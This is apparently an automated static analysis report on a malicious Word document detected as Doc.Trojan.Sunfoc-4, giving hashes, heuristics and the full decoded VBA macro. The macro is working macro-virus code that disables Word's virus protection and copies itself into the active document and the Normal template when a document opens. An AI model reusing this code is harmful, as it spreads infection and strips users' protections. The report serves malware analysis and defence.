Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 1ec9131fc01a6911…

MALICIOUS

Office (OLE)

29.0 KB Created: 2000-01-23 02:53:00 Authoring application: Microsoft Word 8.0 First seen: 2012-06-14
MD5: 9fd979bd624779162a6014fb5eab19f6 SHA-1: ad2266439020efa366f9fb6fd20e7a5b7a91afe2 SHA-256: 1ec9131fc01a69115feec344901350837d069d6082a0bd9bcc7a0566ee1e9aac
180 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic

The sample is a malicious Word document containing VBA macros. The Document_Open macro is designed to disable virus protection and save the document, which is a common technique for malware to prepare for further execution or persistence. The ClamAV detection name 'Doc.Trojan.Sunfoc-4' further supports its malicious nature.

Heuristics 3

  • ClamAV: Doc.Trojan.Sunfoc-4 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Sunfoc-4
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 748 bytes
SHA-256: 1e020884142223772e7b01a350b7a6ee0fc6aa1892a1a1e9d891ac786c0231a5
Detection
ClamAV: Doc.Trojan.Sunfoc-4
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "ThisDocument"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Private Sub Document_Open()
Set A = Options
A.VirusProtection = 0
A.SaveNormalPrompt = 0
A.ConfirmConversions = 0
For B = 1 To 3
If B = 1 Then Set C = ThisDocument
If B = 2 Then Set C = ActiveDocument
If B = 3 Then Set C = NormalTemplate
Set D = C.VBProject.VBComponents.Item(1).CodeModule
If B = 1 Then E = D.Lines(1, D.CountOfLines)
If B <> 1 Then D.DeleteLines 1, D.CountOfLines
If B <> 1 Then D.Addfromstring E
Next
ActiveDocument.SaveAs FileName:=ActiveDocument.FullName
End Sub